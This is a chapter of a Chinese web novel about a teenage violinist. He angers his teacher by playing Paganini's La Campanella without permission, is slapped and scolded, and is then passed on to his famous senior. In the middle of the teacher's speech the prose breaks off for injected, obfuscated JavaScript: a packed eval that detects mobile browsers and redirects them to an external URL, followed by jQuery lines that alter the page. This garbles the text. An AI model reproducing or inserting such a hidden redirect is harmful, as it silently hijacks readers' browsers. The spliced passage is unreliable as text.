6. 和师兄的初见面

作品:《年少天纵

    一阵悠扬悦耳的手机铃声响起,顾梓聿不耐烦地翻了一个身,把头埋到柔软蓬松的被子里,丝毫没有起身接听的打算——开什么玩笑?今天可是难得的周日,考试刚刚结束,顾仲景不在家,又没有排练的压力。昨天的星期六已经被彻底毁掉了,今天好不容易能补眠,就算是地震海啸他也是不会起身的!


    可那手机始终不知疲倦地,边哼着 Scarborough Fair,边在床头柜上扭来扭去,仿佛催命一般,顾梓聿再也没了睡意,猛地伸手抓过手机,心里已经决定,这次无论对方是谁,都要先臭骂对方一顿再说!


    一滑屏幕,见到亮起的名字是“明珺”,顾梓聿立刻就气不打一处来——这小魔女!这个点她不是应该在排练吗?还能骚扰他这个“伤残人士”?!


    他一边心不甘情不愿地接通电话,一边拉长声音抱怨:“喂——你有没有搞错啊!大清早的,不带这么坑人的吧?你知不知道现在才几点?九点!九点啊!我的睡眠时间就这么被你无情践踏了!”


    停了片刻,只听到对面隐隐传来的是乔治·弗里德里希·亨德尔(Ge Frideric Handel)的《示巴女王的到来》(The Arrival of the Queen of Sheba)。这是他为歌剧《所罗门王》创作的其中一段管弦乐序曲。尽管它是歌剧中的一部分,但这段旋律也因其自身的吸引力,成为亨德尔最受欢迎的独立管弦乐作品之一。


    他恍然了一下,才意识到乐团排练的进度。


    电话那头安静了一瞬,顾梓聿还以为是姜明珺理亏了,不好意思开口,脾气也有点消了下来,可没等到他再一次开口,电话那头传来了一个略显苍老的但仍中气十足,隐约压制着怒气的声音:


    “顾梓聿,你想怎么样?啊?睡觉睡到九点还不知道起床?原来你就是这么和你的同学讲话的啊,挺拽的!听你声音这么响,不像是生了病,我告诉你,半个小时内给我赶到音乐厅,不然呢,哼,你以后也可以不用来了!”


    空气瞬间凝固。


    顾梓聿的瞌睡在一秒之内被彻底惊醒,他的脑子像是被雷劈了一样,整个人从床上弹了起来,连耳边的心跳声都能听得一清二楚。


    ——吴老师?!


    ……死了,这下是真的死了。


    顾梓聿还没反应过来,声音的主人已经远去,勉力听还能听到老头气吁吁地骂到:“这么多年我就没见过这种学生!什么东西!”伴着一阵摔谱子的声音。


    顾梓聿一下懵了:什么状况?刚才那个声音是吴老师吧?自己刚刚都说了些什么?居然敢对老师大吼大叫!天啊,这样大逆不道的行为,顾梓聿,你是嫌自己命太长了吧!


    不过这到底是怎么回事?


    天才少年愣了一下,还好明珺接过了电话:“梓聿哥哥,是我。” 压低了的声音还带着些后怕,显然也是被刚才老头的怒气给波及到了。


    虽然被臭骂一通还不明白到底发生了什么事,顾梓聿却是很清楚地知道再不抓紧就将面临被开除的下场——老头可是说到做到的人啊!他连忙起身,边套上衣服,边语速极快地问:“怎么了?”


    “我原本说你生病了,本来已经给你请假了,没想到,诶,你知道吗,宋熙和过来了,是那个宋熙和诶!吴老师就想着要叫你过来见见师兄。他听我说你生病了,担心的不得了,想让你多休息一会,就一直等到现在才给你打电话,谁知道你…”


    得,这还都是自己的错,说不清了!连忙挂了电话,顾梓聿连房门都顾不得上锁了,捞了琴盒就往外跑。


    一月的早晨,即使在节令上仍算是隆冬,但对于在北方成长生活了三十几年的宋熙和来说,这座南方城市还是很温暖的,凛冽的海风所挟带的这点寒意对他来说根本不算什么。此时,他只着了一件立领衬衫,外套一件羊绒毛衣,便束手站在音乐厅外,看着波涛拍打着海岸线,放任自己的思绪四处游荡:


    去年的巡演工作已经告一段落,在世界各地跑了一整年之后,他特意安排自己在今年年初空出一段行程。长途飞行、频繁的排练、舞台和听众固然令人陶醉,但也让他身心俱疲。他需要一段休憩期,停一停,调整自己的状态,留出一段时间不理俗事,专心钻研琴艺,或许还能顺便做些教学,尝试换一种节奏去感受音乐。


    他首要的安排,就是想来拜访一下自己的恩师,吴宏礼,叙叙旧,顺便也放松一下。他是一个懂得感恩的人,明白若没有恩师的悉心教导,加之老师为他铺设的人脉,他是不会有今天的。


    六年的师生情谊,如父如子,老师点燃了他音乐的火苗,对他可谓是恩重如山。尽管他宋熙和此后也曾和几位大师有过师生之谊,但此后的情谊却再没有他与吴老师之间那般深厚的了。


    吴老为他启蒙,又手牵手领他走上这条音乐之路,教他为人处事,人品琴品都要考教。每次学校文化课考试结束,老师都向他要成绩单,绝不允许他文化课拖后腿,每每有科目略差一些,老师便是要黑脸的。


    他还记得在自己十多岁的时候,一次晚上上完琴课时,忽然下起了暴雨,他一时没法回家,吴老师给他煮了一碗热腾腾的面疙瘩,撒上些碧绿的葱花,朴实家常而温暖人心的味道,他一辈子也不会忘记。


    不过,想起刚刚老师谈起那个年轻的小师弟时,眉目间充盈的欣赏期待的宠溺之意,他便略略有些吃味:想当年的自己也算是天资过人,老师尚且如此严厉,动戈戒尺藤条上身也是有的,更不必说别的学生了。唉,果然是小儿子,大孙子,老人们的心尖子么?


    不一会晃过神来,宋熙和才发现自己已经吃上还未见面的小师弟的醋了,不禁略略错愕,转瞬又觉得自己实在好笑——多大的人了还和孩子计较。


    而那头,坐立不安的顾梓聿心下惶惶——倔老头子的脾气大,万一他待会儿气不过要揍自己呢?


    而对那位蜚声国际的师兄他只是有敬佩之情,却也谈不上有什么孺慕亲近之思。想到老头前些年因为自己排练时开小差,当着爱乐乐团的前辈们扇了自己一巴掌的无比丢脸的往事,他现在冷汗已浸透贴身衣衫,只得火急火燎地不停地催促的士司机“开快点再快点再再快点”。


    司机被催得心头火起,一面骂骂咧咧,一面横冲直撞。而顾梓聿则被颠得死去活来,身下的伤磨得他如坐针毡,简直连死的心都有了。等到的士终于飞驰到人艺协和音乐厅时,顾梓聿差不多也就只剩了半条命。


    听到身后的汽车直刹声,宋熙和心有所感,慢慢转过身来,知道大约是他那位小师弟到了,微微眯眼——不远处那个少年有一对清亮的瑞凤眼,瞳仁黑白分明,眼神纯澈透明,眼角微微上挑,鼻子高挺,短发清爽,似是有点眼熟?


    没有多想,他便上前扶住了那已规规矩矩向自己行后辈礼的少年:“听说你之前生病了,现在好些了吗?”


    那少年微微摇头道:“不是什么大毛病,初次拜见师兄就如此匆忙,是梓聿的不是,”话到此处,那少年才敢抬起头,呐呐道,“只是吴老师他还生气吗…”


    原来大家在老师面前都是一样的鹌鹑。宋熙和真心实意地笑了笑:“老师大人有大量,倒是你,外面冷,快随我进来吧。” 松开手,那少年点点头,便亦步亦趋跟在他后面。


    待进了排练厅,被那暖气一激,顾梓聿才打起抖来,觉着冷热交加,胸口一阵烦闷,一叠声呛咳了起来,夹在音乐声中却是分外清晰。吴老早已听到,却仍装着不为所动,只先叫暂停排练,慢悠悠地走下舞台,只顾着和宋熙和讲话,却把顾梓聿晾在一边,自是不去管他。


    周围众人见到本来请假的首席又被匆忙叫来、人到了却又被晾在一边置之不理,不禁都心里疑惑起来。


    顾梓聿自知理亏,却也没什么话好说,只是他已不像小时候那么爱面子,对于众人目光的刺探也坦然自若,只恭恭敬敬地跟着两位大佬进了指挥专属的休息室,束手低头站在那儿,听二位讲些乐坛掌故。


    过了没多久,顾梓聿冷汗又冒了一身,微微颤抖——他身上有伤未愈,本就虚的很,刚刚被冷风吹得透心凉,又被这闷热一激,再加上自他今早起身,水米还不曾沾牙,铁打的人也扛不住了。


    一旁的宋熙和对上他那小师弟偷偷递过来的满是哀求的眼神,心下也有些不忍,道:“老师,梓聿还生着病呢。”


    “病死他算了!小兔崽子,刚才在电话里对他老师大吼大叫!”


    老头子果然还是气不过,顾梓聿得了师兄眼色,急忙上前半跪在老师面前,叠声认错:“老师,我早上绝对是脑子被雷劈了,要不就是被门夹了,我怎么敢对您大呼小叫呢,您千万千万别生气,生气伤身,您要是气,就捶我几下解解气?”


    “哼!”老头子一辈子的傲娇脾气,说要打吧,对面前这个宝贝徒弟又狠不下心下不了手,黑脸道:“你去,叫你师兄给指点一下,若是不好,我叫你师兄替我捶你。”


    “是。”顾梓聿听到今天有这一出,强自压抑兴奋——他这位师兄年少成名,如今如日中天,堪称世界乐坛的风云人物,是华纳的骄傲。绝妙的领悟力,超强的乐感,精湛的弓法和如滔滔江河般丰沛的表现力是他的优势。


    凡是学器乐的人,总渴望能遇到一个强大的对手。顾梓聿已经当了四年多的鹿城学生交响乐团的小提琴首席了。尽管随着乐队排练演出过很多大师作品,由于作品缘故也有很多独奏片段,但老头却从来没带他参加任何独奏比赛,因此他很难有在类似师兄这样大咖的前辈前单独演奏的时候,自然,现在这个机会就变得无比重要。


    顾梓聿先是对音,再为弓细细擦上一遍松香——他的手有一点抖,不是害怕心慌,而是一种即将面临挑战的热血沸腾。他骨血里深爱这陪伴他十年有余的伙伴。小提琴,是他过去生活的唯一见证和缅怀,时时提醒着他已被深埋于废墟中的一切,是他的情感寄托,伴他度过难眠的黑夜。


    这一会功夫,他已有了决断,以帕格尼尼的 La Campanella 《钟》来博师兄的青眼了。


    他镇定又骄傲地轻轻举起琴,夹在颈间。姿态十足地一扬手,起弓。


    两位大人都很认真听,过了会却无奈地笑了——这孩子不过是在拉琶音音阶以热手。


    宋熙和不熟悉他,只认为这孩子有够谨慎小意,不愿出丝毫差池。而吴老却觉出一丝味来:这孩子平日里并不这样讲究,便是乐队排练时,也很少先拉音阶热身,直接拿着新谱子就现场视奏更是常有的事情。他有时偏宠顾梓聿,看他拉的无甚差错,也就睁一眼闭一眼,可今日…… 他望望一脸严肃的熙和,心里便有了几分计较。


    屏息,静气,一抬手,一个漂亮的上弓,半拍停顿后便是一连串的颤音华彩,六个把位下来,音准一丝不苟,断弓干净利落,毫不拖泥带水。


    宋熙和都忍不住要拍手叫好了——在他这个年纪,放下学业一天十个小时专练琴艺时也就堪堪和他这小师弟仿佛吧?La Campanella 不是谁都拉的起的,自从问世以来,一直是小提琴演奏者用来展示高超技艺的经典曲目之一。况且眼前的小师弟还如此年轻,他已起了惜才之心,提携之意。


    他凝神看着顾梓聿:笔直的站姿,肩肘很放松,只靠小臂来带动手腕,微微偏着头,不像时下一些人喜欢摇头晃脑,该紧的地方又收的很恰当。修长的手指在指板上起落——不因为手指头长就随意越位够把,而是一板一眼的换把,尤其在高音区的表现,精准的把位和手指的灵活性显示出眼前少年扎实的基本功。又是一段连续的跳弓技巧,双音、滑音处理得极好,稳稳地不飘,而后的下顿弓不滞不涩,旋律明亮,节奏精确。


    这孩子,几乎在弓法和指法上,至少是这首曲子,已经达到炉火纯青的地步了。


    “啪!”


    琴音一颤,宋熙和收敛心神,诧异地发现居然是恩师怒急,敲断了指挥棒!顾梓聿见老师发火,隐约知道为了什么,不仅在心中懊悔,却也只能放下了琴,心下惴惴,等待将来的暴风雨。四下寂静之时,吴老师急步上前,劈手就是一个耳光,重重扇在顾梓聿的右脸颊上。


    “你竟然没有经过我的同意,就自作主张去挑战这么高难度的作品。你知不知道,这样做不仅仅是对自己不负责任,还是对你学到的一切技能和原则的践踏!”


    别看老头子六十好几了,这手劲大啊!顾梓聿一个趔趄,只感觉到牙齿划破了口腔,右脸热辣辣的,飞速肿起。见小师弟嘴角冒出血沫,宋熙和才反应过来:“老师,息怒啊。”他直觉到这次老头子是动了真火,忙回头道:“小师弟,还不快认错!”


    谁料顾梓聿这次竟是死磕到底,他先把琴轻轻放好,而后站的笔直,一脸的倔强道:“老师,这首曲子虽然是未征得您的同意,我自己私下里学的,但它又不是什么乱七八糟的曲子,它是 Paganini 的名作啊,多少学生都在练习,我为什么不可以学?”


    顾梓聿不觉得自己做错了。


    “你说你没错,那你是在怀疑我做老师的资格,教习的分寸是吗?我不教自有我的道理,用不着你来指手画脚!”


    老头一字一句的诛心之语,听得顾梓聿冷汗直冒,他没想到老头如此在意,想要辩解却不知如何开口。而宋熙和因发现这曲子竟然是小师弟自学出来的,心情已经激荡的不行,根本无法去劝阻这场争吵。


    “好,你要 Paganini 是吗?要炫技是吗?要炫技,你怎么不拉 Caprices ?第15号,第23号,对吧?这不都任你挑选,啊?哦对,还有他的 Sonatas,你既然都能自学 La Campanella,奏鸣曲也不难吧?跟着录音视频?那你还要老师做什么呢?枉我平常还觉着你是个稳重的,太急功近利了!你自己心里没有数吗?没有充分的准备,直接跳跃到这样的曲目,就算是拉下来了,又怎么样,你以为这就足够驾驭它了吗?你对谱面的理解就是高音和跳弓吗?你根本没有做好充分的准备,就去挑战这样的曲子,你拉了这么多年琴,只有这么一点觉悟吗?”


    老头子声色俱厉地训斥,雷霆万钧。


    “吴老师,我承认,这首曲子的技术难度确实拔高了很多,但刚才师兄也在这里,他也可以评价,我练习的时候一定是认认真真的。我投入了大量的时间,音准、节奏、跳弓,每一项要素我都尽量做到最好,我不明白,为什么您要这样生气?我只是想挑战自己,提升自己的水平,难道这种努力不值得肯定吗?有练习总归是好的,不是吗?曲子的表现力也许有高低,但是技术标准总归是一样的吧?您可能觉得我过于追求技巧了,但这不是小提琴能力最直观的展现吗?”


    顾梓聿忍不住想要反驳,因为他心里着实委屈:“老师,您说我急功近利,可我真的不是想炫耀啊。我练习的时候很认真,我真的很努力了,难道这也错了吗?”


    紧张过去后,伤痛开始变本加厉,顾梓聿无力地倚在墙上,低着头,自己私下的苦练,刚才的演奏,看起来都像是一场笑话吧?


    “而 La Campanella,各种类型的弓法俱全,指法灵活多变,还有抒情的乐句,和单纯只强调技巧的 caprices 又不一样。至于 sonatas,老师,您实在是太高看我了。师兄是你最出色的弟子,我只不过是想,想得到师兄的认同罢了…”


    这最后一句声音微弱,却又足够两人入耳,只是心思,却各有不同。


    吴宏礼盯着他,脸色阴沉,眼神凌厉,声音里透着火气:“梓聿,你当然努力,我看得出来,你练得很拼命,但你有没有想过,你拼命练的到底是不是对的?”


    他语气咄咄逼人:“你觉得委屈?觉得自己那么努力了,就该被肯定?行,那我问你,你光努力有用吗?方向错了,你练一百个小时都没意义,甚至比不练还糟糕!”


    “你练那些超出自己能力的曲子,练到手指抽筋,练到大脑麻木,就叫进步?你拉帕格尼尼,你知道自己在干什么吗?别跟我说’大概会了’,‘差不多能拉下来’,你明白这曲子的精髓吗?你真能驾驭它吗?还是只是想靠挑战高难度来刷存在感,证明自己‘挺厉害’?”


    他猛地一挥手,声音陡然拔高:“音乐不是竞赛!没人规定你非要在这个年纪拉什么样的曲子!你倒是给我想清楚,你练


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266187|166578||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的到底是音乐,还是在自我感动?!”


    吴宏礼的语气放缓了一些,但依旧带着严厉的锋芒,继续说道: “练习是好的,任何一位音乐家,如果没有持之以恒的练习,都不可能有今天的成就。但我要告诉你,真正的练习,不是一味地磨炼技巧,而是为了积累对音乐的理解。音乐需要的是耐心,是对每一段旋律的感悟,有些东西需要时间去消化,而不是一味地去’硬练’。你面对如此高难度的曲目,如果不尊重一个正常的学习过程,想通过一次次突破极限来获得进步,你或许会得到一时的自信和满足,但最终,你会发现自己只是空有技巧,却没有真正掌握音乐的灵魂。”


    “明白吗?”


    顾梓聿低头静静听着,吴老师的每一句话,都像是在撕碎他的自尊,最终让他赤条条的,鲜血淋漓。


    “空有技巧,却没有真正掌握音乐的灵魂。”


    这句话像是一道利刃,直直地刺进他心里,让他一阵钝痛。


    ——老师说了这么多,不还是在说我不配?


    他的努力到头来只是方向错误的“硬练”,是歧途,他拼了命地练习,把所有能压榨的时间都投入到琴弦之上,可到头来,换来的竟然是这样一句评价?那么他的所有汗水,他熬过的那些时间,他压制住的疲惫和酸痛……到底算什么?


    吴宏礼见他沉默,轻轻叹了口气:“你知道吗,梓聿,所有音乐的成长都要经历一个过程。而这个过程,往往是最不显眼的、最不起眼的积累。你不能仅仅因为自己觉得有能力,就去挑战那些根本不属于你现在阶段的作品。因为你没有准备好。”


    他走到顾梓聿身旁,轻轻拍了拍他的肩膀:“我对你严厉,不是因为我否定你,而是因为你有潜力。我不希望你像许多年轻的琴手一样,走上追求年少成名的路,而最终却迷失了音乐的本质。”


    顾梓聿的眼眶微微泛红,他低下头,心里翻涌着复杂的情绪。他依旧觉得委屈,可是他没有再争辩。吴老师有他的看法,也许他现在还不能理解,但至少他知道吴老师为他的心是好的。就凭这一点,他也不能再去和老师争这一时之气。


    宋熙和知道自己老师的脾气,便也静静地听着这场教训,不去打断。其实,他倒是不太同意老师的看法。他觉得年轻人敢于挑战挺好的,难道不该是这样吗?音乐又不是非得按部就班地走,每个人的成长路径不一样,有多少神童学琴的时候一个月跳一个大级别?顾梓聿想挑战更高难度的曲子,这没什么错。


    吴老师当然有他的道理,他是怕顾梓聿走得太快,根基不稳。但说实话,每个人都有自己的节奏,他年轻的时候也偷偷练过拔高的曲子,只是没被发现罢了。


    顾梓聿拉的那首帕格尼尼,其实已经算不错了,至少撑得住台。吴老师之所以这么严厉,是因为他的期待太高,不想让顾梓聿走弯路,但以他看来,顾梓聿这小子脑子很清晰,完全知道自己在干什么。


    不过,顾梓聿这个巴掌是白挨了。只希望小孩不要有心理阴影,以后想练高难度曲子,还是得练,就是得先想想,怎么别被老师发现。


    想到这儿,他才突然意识到,好像就是为了拉给自己听,顾梓聿才暴露的?这么说,自己还要为这巴掌负责任了?


    宋熙和忍不住叹了口气,行吧,就让他出手来收拾一下这个残局。


    “梓聿啊,”宋熙和轻咳了一声,“你是聪明的,老师刚才说的话,我想你一定听进去了,对吧?老师说得没错,如果基础不够扎实,挑战高难度曲目确实可能造成不良影响,甚至会让人误以为掌握了技巧,却忽视了音乐的内涵。”


    他看了眼吴宏礼的表情,老头面是黑的,仍是生气。他知道老头有心脏病,又脾气爆,若是气出了什么好歹…


    他调整了一下措辞:“但……你的演奏,刚才其实也没有那么糟糕,甚至在某些地方的表达,我能感觉到,你已经有了自己的理解。”


    这句话一出,顾梓聿猛地抬头看了宋熙和一眼,眼里闪过一丝惊讶,而吴老师的目光也缓缓转向了他,宋熙和一下压力倍增。


    “老师,我建议,让小师弟选择一首难度适中的曲目,重新演奏一遍。”


    这一声“小师弟”出来,吴宏礼死蹙着的眉头倒是松了松。


    “不过这次,不只是弹奏正确的音符。”宋熙和的眼神严肃了起来,目光直视顾梓聿,“我们要听的,不是技巧,而是音乐的感染力和表现力。”


    吴宏礼不置可否,又坐回座位上。


    宋熙和看着顾梓聿,语气温和了些许:“梓聿,你愿意试试吗?”


    顾梓聿愣了一下,意识到这是师兄为自己争取到的机会,不敢再犹豫下去,第二次拿起琴,松松弓毛,简单的乐句,哀而不伤的乐符,是《冥想曲》(Méditation from Tha?s)。这是他8、9岁时就已经拉的极好的曲子,旋律优美,但需要深刻情感表达的作品。这次,他没有刻意加花,每一个单音都一丝不苟,干净均匀,音色温暖而富有层次,仿佛带着诉说不尽的情感,连空气都随着琴声变得厚重起来。


    宋熙和微微点头,他知道,这才是老师想看到的东西——不是技术的堆砌,而是情感的表达。


    吴宏礼则微微眯起眼睛,他没有说话,只是静静地听着。


    当最后一个音符缓缓消散在空气中时,房间陷入了短暂的沉默。


    顾梓聿惴惴不安地等着,吴宏礼沉吟了几秒,才语气平静地开口:“可以。”


    吴宏礼的目光从顾梓聿身上移向宋熙和,带着一种复杂的神色。沉默片刻,他终于开口:“熙和,你刚才不是说,准备给自己放一段假,好好调整一阵吗?”


    “那正好。”吴宏礼的目光转向顾梓聿,“梓聿,以后就跟着你师兄学吧。”


    顾梓聿一时没反应过来,愣在原地。


    “老师,我……”他微微张口,想要说些什么,但又不知道该如何表达自己此刻的心情。


    “乐团排练照常来,你还是首席,别想着撂挑子。不过小课你就不用来了。”


    吴宏礼看着他,语气没有波澜,仿佛是在安排一件理所当然的事情:“去吧,你在我这里学的已经够多了。你该去看看别的世界,也该换个人教你点其他的东西。”


    顾梓聿呆呆地站在原地,脑中有片刻的空白。他怎么也没有想到,老师竟然会在这个时候做出这样的决定。他原以为,今天这一场争论只是一次小小的考验,可是现在,他却要离开?他在这里学了这么久,从最基础的练习曲到复杂的诠释,吴老师一直严厉地督促着他,甚至很少给予他真正意义上的称赞。而现在,老师竟然主动让他去师兄那里,像是……把他“放出去”了。


    “老师……”他的喉咙有些发紧,声音微微发颤,“是因为我自己学曲子,让您失望了吗?”


    宋熙和则一脸无奈地看向吴宏礼,试探性地问:“老师,您是认真的吗?”


    吴宏礼脸又黑了:“爱收收,不爱收拉倒。”


    宋熙和想说自己本来是打算放空一阵的,结果突然被安插了一个学生,这算怎么回事?抽空指点指点和正式教徒弟可不一样,这责任可不是随便就能扛起来的。不过他不打算当着小师弟的面讨论这事,笑着对顾梓聿说:“你先回去,我和老师好好商量一下,看怎么样对你的发展最好。你也别想太多,回去还是照样好好练琴啊,如果最后你归我管了,我也和老师一样,不会手软的。”


    顾梓聿抬起头,和宋熙和对视了一瞬间。他看到了宋熙和眼中的认真,他终于深吸一口气,点了点头:“……我明白了,谢谢师兄。”


    他收拾好琴盒,规规矩矩地鞠躬道别,身子弯的极低,以致抬起头来还有些目眩,带上门,逃也似地离开了。


    休息室内,老头望着窗外那个落寞身影微微出神,宋熙和忍不住开口:“老师,您把您的得意弟子给我了,不会舍不得吗?”


    吴宏礼笑了笑,又叹了口气:“我一直认为,教育并不是为了束缚,而是为了放手。你说得对,我确实是很看重他,但有时候,放手也是一种成全。”


    吴宏礼没有说出口的是,自己的时间已经不多了。